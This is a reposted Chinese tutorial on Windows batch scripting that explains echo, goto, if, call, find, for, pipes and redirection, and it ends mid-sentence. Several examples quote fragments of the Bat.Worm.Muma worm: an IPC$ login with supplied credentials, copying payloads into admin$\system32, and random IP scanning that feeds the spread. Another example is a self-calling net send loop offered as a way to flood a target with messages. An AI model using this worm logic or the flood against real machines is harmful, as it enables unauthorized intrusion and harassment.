1. 程式人生 > >WINDOWS批處理命令使用大全

WINDOWS批處理命令使用大全

轉載:https://www.xuebuyuan.com/3232321.html

        批處理,也稱為批處理指令碼,英文譯為BATCH,批處理檔案字尾BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令裡可以含多條子命令,從第一行開始執行,直到最後一行結束,它執行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到程式碼(批處理的內容算是程式碼吧?)的問題本來就是枯燥的,很少有人能面對滿螢幕的程式碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理。再說句“閒話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。

按照我的理解,批處理的本質,是一堆DOS命令按一定順序排列而形成的集合。

例一、先給出一個最easy的批處理指令碼讓大家和它混個臉熟,將下面的幾行命令儲存為name.bat然後執行(以後文中只給出程式碼,儲存和執行方式類似):

ping sz.tencent.com >a.txt

ping sz1.tencent.com>> a.txt

ping sz2.tencent.com>> a.txt

ping sz3.tencent.com>> a.txt

ping sz4.tencent.com>> a.txt

ping sz5.tencent.com>> a.txt

exit

執行這個批處理後,可以在你的當前盤建立一個名為a.txt的檔案,它裡面記錄的資訊可以幫助你迅速找到速度最快的QQ伺服器,從而遠離“從伺服器中轉”那一痛苦的過程。這裡>的意思,是把前面命令得到的東西放到後面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt檔案越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP,是不是很爽?後面還將詳細介紹。

例二、再給出一個已經過時的例子(a.bat):

@echo off

if exist C:\Progra~1\Tencent\AD\*.gif delC:\Progra~1\Tencent\AD\*.gif

a.bat

這裡用的地址是QQ的預設安裝地址,預設批處理檔名為a.bat (可以根據情況自行修改)。在這個指令碼中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行後的DOS視窗,不按CTRL+C強行終止命令,它就一直監視是否有廣告圖片(QQ也再不斷檢視自己的廣告是否被刪除)。當然這個指令碼佔用你一點點記憶體,呵呵。

例三,使用批處理指令碼查是否中冰河。指令碼內容如下:

@echo off

netstat -a -n > a.txt

type a.txt | find "7626"&& echo "Congratulations! You have infected GLACIER!"

del a.txt

pause & exit

這裡利用了netstat命令,檢查所有的網路埠狀態,只需要你清楚常見木馬所使用的埠,就能很easy的判斷出來是否被人種了冰河。當然這不是絕對確定的,因為冰河預設的埠7626,完全可以被人修改。這裡介紹的只是方法和思路。這裡介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的指令碼了,再改動一下,加進去引數和埠及資訊列表檔案後,就變成自動檢測所有木馬的指令碼了。呵呵,是不是很過癮?指令碼中還利用了組合命令&&和管道命令|,後面將詳細介紹。

例四,借批處理自動清除系統垃圾,指令碼如下:

@echo off

if exist c:\windows\temp\*.* del c:\windows\temp\*.*

if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*

if exist c:\windows\History\*.* delc:\windows\History\*.*

if exist c:\windows\recent\*.* delc:\windows\recent\*.*

將以上指令碼內容儲存到autoexec.bat裡,每次開機時就把系統垃圾給自動刪除了。這裡需要注意兩點:一、DOS不支援長檔名,所以就出現了Tempor~1這個東東;二、可根據自己的實際情況進行改動,使其符合自己的要求。

看完第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來幹什麼的了。但你知道運用批處理的精髓在哪裡嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。

批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程式語言(如彙編)低,如果你寫的指令碼是一堆亂麻,雖然每一行命令都正確,但從頭執行到尾後,不一定得到你想要的結果,也許是一螢幕的Bad command or fail name。

從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理指令碼中有這廣泛的應用,它們是批處理指令碼的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較紮實的基礎。這裡只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實際複雜的很,我怕自己都說不清楚!)。

例五,先看一個例項。這是一個很有意思的指令碼,一個小巧實用的好東東,把批處理“自動化”的特點體現的淋漓盡致。先介紹一下這個指令碼的來歷:大家都知道彙編程式(MASM)的上機過程,先要對原始碼進行彙編、連線,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞彙編課程設計時,我“被逼”寫了這個指令碼,用起來很爽,呵呵。看看指令碼內容:

@echo off

::close echo

cls

::clean screen

echo This programme is to make the MASMprogramme automate

::display info

echo Edit by CODERED

::display info

echo Mailto me : qqkiller***@sina.com

::display info

if "%1"=="" goto usage

::if input without paramater goto usage

if "%1"=="/?" gotousage

::if paramater is "/?" goto usage

if "%1"=="help" gotousage

::if paramater is "help" gotousage

pause

::pause to see usage

masm %1.asm

::assemble the .asm code

if errorlevel 1 pause & edit %1.asm

::if error pause to see error msg and editthe code

link %1.obj & %1

::else link the .obj file and execute the.exe file

:usage

::set usage

echo Usage: This BAT file name [asm filename]

echo Default BAT file name is START.BAT

::display usage

先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的!!)。已經給出了每一行命令的解釋,兩個冒號後面的內容為前一行內容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這麼懶?),在指令碼執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用後面會詳細講到。此指令碼中masm和link是彙編程式和連線程式,必須和edit程式以及你要編輯的原始碼(當然還有這個指令碼,廢話!)一起在當前目錄中。使用這個批處理指令碼,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從彙編原始碼到可執行exe檔案的自動化轉換,並具備智慧判斷功能:如果彙編時原始碼出現錯誤(彙編不成功),則自動暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯原始碼介面;如果原始碼彙編成功,則進行連線,並在連線後自動執行生成的exe檔案。另外,由於批處理命令的簡單性和靈活性,這個指令碼還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定別忘了實習一下!

在這個指令碼中出現瞭如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。

1、@

這個符號大家都不陌生,email的必備符號,它怎麼會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行視窗中不顯示它後面這一行的命令本身(多麼繞口的一句話!)。呵呵,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓指令碼在執行時不顯示後面的echo off部分。這下懂了吧?還是不太懂?沒關係,看完echo命令簡介,自然就懂了。

2、echo

中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:開啟和關閉。於是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它後面的所有命令都不顯示命令本身,只顯示執行後的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以後各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!

echo命令的另一種用法一:可以用它來顯示資訊!如例五中倒數第二行,Default BAT file name is START.BAT將在指令碼執行後的視窗中顯示,而echo命令本身不顯示(為什麼??)。

echo命令的另一種用法二:可以直接編輯文字檔案。例六:

echo nbtstat -A 192.168.0.1 > a.bat

echo nbtstat -A 192.168.0.2 >> a.bat

echo nbtstat -A 192.168.0.3 >> a.bat

以上指令碼內容的編輯方法是,直接是命令列輸入,每行一回車。最後就會在當前目錄下生成一個a.bat的檔案,直接執行就會得到結果。

3、::

這個命令的作用很簡單,它是註釋命令,在批處理指令碼中和rem命令等效。它後面的內容在執行時不顯示,也不起任何作用,因為它只是註釋,只是增加了指令碼的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。

4、pause

中文為“暫停”的意思(看看你的workman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程式程序暫停一下,並顯示一行資訊:請按任意鍵繼續. . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程式資訊,第二個是顯示錯誤的彙編程式碼資訊(其實不是它想顯示,而是masm程式在顯示錯誤資訊時被它暫停了,以便讓你看清楚你的原始碼錯在哪裡)。

5、:和goto

為什麼要把這兩個命令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉命令,:是一個標籤。當程式執行到goto時,將自動跳轉到:定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程式在執行到goto時就自動跳轉到:標籤定義的部分執行,結果是顯示指令碼usage(usage就是標籤名稱)。不難看出,goto命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方,它們是一一對應的關係。goto命令也經常和if命令結合使用。至於這兩個命令具體用法,參照例五。

goto命令的另一種用法一:提前結束程式。在程式中間使用goto命令跳轉到某一標籤,而這一標籤的內容卻定義為退出。如:

……

goto end

……

:end

這裡:end在指令碼最後一行!其實這個例子很弱智,後面講了if命令和組合命令你就知道了。

6、%

這個百分號嚴格來說是算不上命令的,它只是批處理中的引數而已(多個%一起使用的情況除外,以後還將詳細介紹),但千萬別以為它只是引數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:

net use \\%1\ipc$ %3 /u:"%2"

copy 11.BAT \\%1\admin$\system32 /y

copy 13.BAT \\%1\admin$\system32 /y

copy ipc2.BAT \\%1\admin$\system32 /y

copy NWZI.EXE \\%1\admin$\system32 /y

attrib \\%1\admin$\system32⏺.bat -r -h -s

以上程式碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:指令碼檔名 引數一 引數二 ……。假設這個指令碼被儲存為a.bat,則執行形式如下:a IP username password。這裡IP、username、password是三個引數,缺一不可(因為程式不能正確執行,並不是因為少了引數語法就不對)這樣在指令碼執行過程中,指令碼就自動用用你的三個引數依次(記住,是依次!也是一一對應的關係。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在指令碼中直接把IP、username和password都定義死,那麼指令碼的作用也就被固定了,但如果使用%的話,不同的引數可以達到不同的目的,是不是更靈活?)。

關於這個引數的使用,在後續章節中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!

這一章就寫到這裡了。可能有朋友問了:怎麼沒介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS命令都可以被用在批處理指令碼中去完成特定的功能。到這裡,你是否已經想到了用自己肚子裡的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。

批處理指令碼中最重要的幾個命令,將在這一章詳細介紹,但是很遺憾,有些細節到現在我都沒掌握的很好,甚至還有些生分。但我一直都在努力,即使一直都沒有收穫。所以可能講的會比較籠統,但我會告訴你方法,剩下的就是時間問題了,需要自己去磨練。讓我們共同努力吧。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經掌握了這篇教程的所有東西----但那也就不必看了,浪費時間!

7、if

總的來說,if命令是一個表示判斷的命令,根據得出的每一個結果,它都可以對應一個相應的操作。關於它的三種用法,在這裡分開講。

(1)、輸入判斷。還是用例五里面的那幾句吧:

if "%1"=="" goto usage

if "%1"=="/?" gotousage

if "%1"=="help" gotousage

這裡判斷輸入的引數情況,如果引數為空(無引數),則跳轉到usage;如果引數為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這裡這麼做只是為了讓這個指令碼看起來更像一個真正的程式),也跳轉到usage。這裡還可以用否定形式來表示“不等於”,例如:if not"%1"=="" goto usage,則表示如果輸入引數不為空就跳轉到usage(實際中這樣做就沒意義了,這裡介紹用法,管不了那麼多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。

(2)、存在判斷。再看例二里這句:

if exist C:\Progra~1\Tencent\AD\*.gif delC:\Progra~1\Tencent\AD\*.gif

如果存在那些gif檔案,就刪除這些檔案。當然還有例四,都是一樣的道理。注意,這裡的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif檔案則退出指令碼”:ifnot exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一個not來表示否定而已。

(3)、結果判斷。還是拿例五開刀(沒想到自己寫的指令碼,竟然用處這麼大,呵呵):

masm %1.asm

if errorlevel 1 pause & edit %1.asm

link %1.obj

先對原始碼進行彙編,如果失敗則暫停顯示錯誤資訊,並在按任意鍵後自動進入編輯介面;否則用link程式連線生成的obj檔案。這裡只介紹一下和if命令有關的地方,&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼(也叫錯誤碼,DOS程式在執行完後都有返回碼),如果和定義的錯誤碼符合(這裡定義的錯誤碼為1),則執行相應的操作(這裡相應的操作為pause & edit%1.asm部分)。

另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,程式碼變為:

masm %1.asm

if not errorlevel 1 link %1.obj

pause & edit %1.asm

看到本質了吧?其實只是把結果判斷後所執行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裡是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功指令碼就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個指令碼,然後把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?後面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執行的結果中就能很清楚的看出這兩種情況的區別。

這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上程式碼必須變成:

masm %1.asm

if exist %1.obj link %1.obj

else pause & edit %1.asm

關於if命令的這三種用法就say到這裡,理解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎麼沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助裡對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這裡多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我採用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現象看事物本質!)。有興趣的朋友可以自己研究一下。

IF [NOT] ERRORLEVEL number do command

IF [NOT] string1==string2 do command

IF [NOT] EXIST filename do command

8、call

學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裡它的意思其實也是一樣的。在批處理指令碼中,call命令用來從一個批處理指令碼中呼叫另一個批處理指令碼。看例八(預設的三個指令碼檔名分別為start.bat、10.bat和ipc.bat):

start.bat:

……

CALL 10.BAT 0

……

10.bat:

……

ECHO %IPA%.%1 >HFIND.TMP

……

CALL ipc.bat IPCFind.txt

ipc.bat:

for /f "tokens=1,2,3 delims= "%%i in (%1) do call HACK.bat %%i %%j %%k

有沒有看出什麼不對的地方?沒看出來啊?沒看出來就對了,其實就沒有不對的地方嘛,你怎麼看的出來!從上面兩個指令碼,你可以得到如下資訊:1、指令碼呼叫可以靈活運用,迴圈運用、重複運用。2、指令碼呼叫可以使用引數!關於第一點就不多說了,聰明的你一看就應該會,這裡說一下第二點。

在start.bat中,10.bat後面跟了引數0,在執行時的效果,其實就是把10.bat裡的引數%1用0代替。在start.bat中,ipc.bat後面跟了引數ipcfind.txt(一個檔案,也可以做引數),執行時的效果,就是用ipc.bat中的每一行的三個變數(這裡不懂沒關係,學過for命令後就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這裡引數呼叫是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調用指令碼,至於連指令碼的引數一起使用的情況,在後面的學習中自然就會有比較深刻的理解,這是因為當你已經可以靈活運用批處理指令碼後,如何使程式碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在呼叫指令碼時直接加入引數,可以使程式碼效率加倍。By
the way,上面的這幾個指令碼,都是Bat.Worm.Muma病毒的一部分,在後面的教程裡,大家將有機會見到這個病毒的真面目。

那是不是說,在同一個目錄下至少存在兩個批處理指令碼檔案(只有一個你呼叫誰?)?呵呵,注意了,這句話錯了!!只有一個照樣可以呼叫----呼叫自身!看例九(預設指令碼檔名a.bat):

net send %1 This is a call example.

call a.bat

這兩句一結合,效果自然不怎麼樣,因為只有一臺機器來發訊息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執行,而且每臺機器開10和視窗同時向一個目標機器發訊息的話,呵呵。這裡call a.bat的作用就是呼叫自身,執行完前一句net send命令後再呼叫自身,達到了迴圈執行的目的。

給出一個很有意思的指令碼,有興趣的朋友可以實驗一下。例十(預設指令碼檔名為a.bat):

call a.bat

一定要在DOS視窗下執行,否則只會看到一個視窗一閃而過,看不到最後結果。等執行完後,當指令碼被執行了1260次,別忘了想一下到底是為什麼!愛情有時候跟這個指令碼一樣,一旦陷入死迴圈,最後的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的迴圈這麼多次,也許在第三次時就出現了love is aborted的提示。

9、find

這是一個搜尋命令,用來在檔案中搜索特定字串,通常也作為條件判斷的鋪墊程式(我怎麼突然想起了這四個字?)。這個命令單獨使用的情況在批處理中是比較少見的,因為沒什麼實際意義。還是借例三來說明:

@echo off

netstat -a -n > a.txt

type a.txt | find "7626"&& echo "Congratulations! You have infected GLACIER!"

del a.txt

pause & exit

先用netstat命令檢查是否有冰河預設的埠7626在活動,並把結果儲存到a.txt中。然後使用type命令列出a.txt中的內容,再在列出的內容中搜索字串“7626” ,發現有的話則提示中了冰河,否則退出。看,find命令其實就這麼簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626"&& echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find並沒有預設路徑就是當前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find命令的幫助裡有這麼一句話:如果沒有指定路徑,find將搜尋鍵入的或者由另一個命令產生的文字。這裡的“另一個命令”自然就指的type命令了。

至於find命令的其他幾個引數如v、n、i等,有興趣的朋友自己去研究吧,這已經屬於DOS學習的內容了,這裡就不做介紹。關於find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),後續的教程中將介紹,希望關注。

10、for、set、shift

為什麼把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對於這兩個命令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個指令碼去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而並不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這裡丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛你說話的權利。看例十一:

@echo off

for /? > for.txt

set /? > set.txt

shift /? >shift.txt

exit

執行後在當前路徑下就生成for.txt、set.txt和shift.txt三個檔案,裡面分別記錄了for命令、set命令和shift命令的幫助資訊。地球人都能看懂,我就不多說了。我在網上曾經找了很長時間這三個命令的教程,但都不理想,基本都是照搬的幫助資訊。我想在自己完全掌握了這兩個命令後,一定要寫一篇用自己的文字總結出來的for、set和shift教程(關於shift命令,後面介紹批處理的引數時還將涉及到),一定會的,這是我的心願之一!需要注意的一點是,這三個命令的幫助裡,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經需要足夠的耐心了,要進一步練習領會這兩個命令,難道不需要更大的耐心?實戰練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了。看看例十二:

START.BAT:

CALL MUMA.BAT

SET IPA=192.168

CALL 10.BAT 0

:NEARAGAIN

netstat -n|find ":" >A.TMP

FOR /F "tokens=7,8,9,10,12 delims=.:" %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SETNUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT

:START

CALL RANDOM.BAT

IF "%NUM1%"=="255" GOTONEARAGAIN

IF "%NUM1%"=="192" GOTONEARAGAIN

IF "%NUM1%"=="127" GOTONEARAGAIN

IF "%NUM2%"=="255" GOTONEARAGAIN

IF "%NUM3%"=="255" GOTONEARAGAIN

IF "%NUM4%"=="255" GOTONEARAGAIN

SET IPA=%NUM1%.%NUM2%

ECHO START > A.LOG

PING %IPA%.%NUM3%.1>B.TMP

PING %IPA%.%NUM3%.%NUM4%>>B.TMP

FIND /C /I "from" B.TMP

IF ERRORLEVEL 1 GOTO START

CALL 10.BAT %NUM3%

DEL A.LOG

GOTO START

這是Bat.Worm.Muma病毒的起始指令碼,設定了病毒執行的環境變數。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發現愛她的過程如看上面程式碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜後,最直觀的收穫就是,你的耐心變的前所未有的充足,面對她的複雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經應付不了的場面,即使到最後一身傷痕,也會感慨曾經的舉動有多麼偉大。

沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強姦,痛並快樂著。

不得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關係),學好DOS命令是學好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理裡的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理指令碼,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理指令碼是建立在熟練掌握DOS命令的基礎上的,這已經超出了本文的範疇,在此就不贅述了。

從這一章開始,將詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的複雜而不完美,所以我認為管道命令和組合命令是批處理的調味劑,幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:|、>、>>

11、|

這個命令恐怕大家不是很陌生,經常操作DOS的朋友都應該知道,當我們檢視一個命令的幫助時,如果幫助資訊比較長,一螢幕顯示不完時DOS並不給我們時間讓我們看完一螢幕再翻到另一螢幕,而是直接顯示到幫助資訊的最後。如在提示符下輸入help回車時,就會看到當前DOS版本所支援的所有非隱含命令,但你只能看到最後的那些命令,前面的早就一閃而過了,如何解決這個問題?看例十三:

help | more

回車後會發現顯示滿一屏幕後就自動暫停,等候繼續顯示其他資訊。當按寫回車時,變成一個一個的出現;按下空格鍵時一螢幕一螢幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。

為什麼會出現上述現象?答案很簡單,這裡結合了管道命令|和DOS命令more來共同達到目的的。這裡先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

11.1、help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結果是讓DOS顯示其所支援的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助資訊。

11.2、more命令。可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最後的結果就是隻能看到末尾的部分。在例十三裡,more命令的作用就是讓輸出的資訊逐屏或逐行顯示。

看到這裡,你是否已經能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當後一命令的輸入來用的。在例十三裡,前一命令的輸出,就是help命令執行後顯示的DOS所支援的所有非隱含命令,而這個結果剛好做了後一命令more的輸入。所以例十三和下面的例十四是等效的:

help > a.txt

more a.txt

del a.txt

這裡利用另一管道命令>生成了一個a.txt檔案作為中間環節,在用more命令檢視a.txt檔案後再刪除a.txt檔案(例十三的所有操作是在記憶體中進行的,不生成檔案)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。

結合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做後一命令的輸入。

12、>、>>

這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個檔案中。這兩個命令的唯一區別是,>會清除掉原有檔案中的內容後把新的內容寫入原檔案,而>>只會另起一行追加新的內容到原檔案中,而不會改動其中的原有內容。例十五:

echo @echo off > a.bat

echo echo This is a pipeline commandexample. >> a.bat

echo echo It is very easy? >> a.bat

echo echo Believe your self! >> a.bat

echo pause >> a.bat

echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat檔案,裡面的內容如下:

@echo off

echo This is a pipeline command example.

echo It is very easy?

echo Believe your self!

pause

exit

看到這裡,你得到了多少資訊?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文字,而不需要專門的文字編輯工具;2、管道命令>和>>的區別如上所述。如果這裡只用>命令來完成上面操作,最後也會生成一個a.bat,但裡面的內容就只剩下最後一行exit了。所以>和>>一般都聯合起來用,除非你重定向的輸出只有一行,那麼就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。

13、<、>&、<&

這三個命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當然如果想仔細研究的話,可以自己查一下資料。

<,輸入重定向命令,從檔案中讀入命令輸入,而不是從鍵盤中讀入。

>&,將一個控制代碼的輸出寫入到另一個控制代碼的輸入中。

<&,剛好和>&相反,從一個控制代碼讀取輸入並將其寫入到另一個控制代碼輸出中。

 

關於這三個管道命令的舉例,在後面批處理指令碼的精妙應用中還將涉及到。

下面介紹組合命令:&、&&、||

組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單----既然現在已經成了一個檔案了,那麼這多個命令就要用這些組合命令連線起來放在同一行----因為批處理認行不認命令數目。組合命令的作用,就如同給愛人陪不是,說一句是說,說十句也是說,不一次把好話都說了出來,效果可能會好些----當然得排除一種特殊情況:這些話是否有先後順序,有些話是否可以同時說。在批處理腳本里也一樣,有些時候某些命令是不能同時執行的,後面給你說。

14、&

這可以說是最簡單的一個組合命令了,它的作用是用來連線n個DOS命令,並把這些命令按順序執行,而不管是否有命令執行失敗。例十六:

copy a.txt b.txt /y & del a.txt

其實這句和movea.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在後面還將涉及到具體使用哪種方法的問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這裡&兩邊的命令是有執行順序的,從前往後執行。

15、&&

切記,這裡介紹的幾個命令都是組合命令,所以他們前後都必須都有其他命令(要不如何組合?)。這個命令也不例外,它可以把它前後兩個命令組合起來當一個命令來用,與&命令不同之處在於,它在從前往後依次執行被它連線的幾個命令時會自動判斷是否有某個命令執行出錯,一旦發現出錯後將不繼續執行後面剩下的命令。這就為我們自動化完成一些任務提供了方便。例十七:

dir 檔案://1%/www/user.mdb && copy 檔案://1%/www/user.mdb e:\backup\www

如果遠端主機存在user.mdb,則copy到本地e:\backup\www,如果不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢?呵呵。其實它和下面這句的作用是一樣的:

if exist 檔案://1%/www/user.mdb copy 檔案://1%/www/user.mdb e:\backup\www

至於你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執行效率更高,所以不知道用哪個更好,呵呵。

你是否還記得“有些命令是不能同時執行的”?你是否相信這句話?當然得相信,不信就給你出道題:把C盤和D盤的檔案和資料夾列出到a.txt檔案中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執行兩個dir,然後把得到的結果>到a.txt裡就ok了嘛,看例十八:

dir c:\&& dir d:\ > a.txt

仔細研究一下這句執行後的結果,看看是否能達到題目的要求!錯了!這樣執行後a.txt裡只有D盤的資訊!為什麼?就因為這裡&&命令和>命令不能同時出現一個句子裡(批處理把一行看成一個句子)!!組合命令&&的優先順序沒有管道命令>的優先順序高(自己總結的,不妥的地方請指正)!所以這句在執行時將本分成這兩部分:dir c:\和dir d:\ > a.txt,而並不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達到題目的要求,必須得這麼寫:

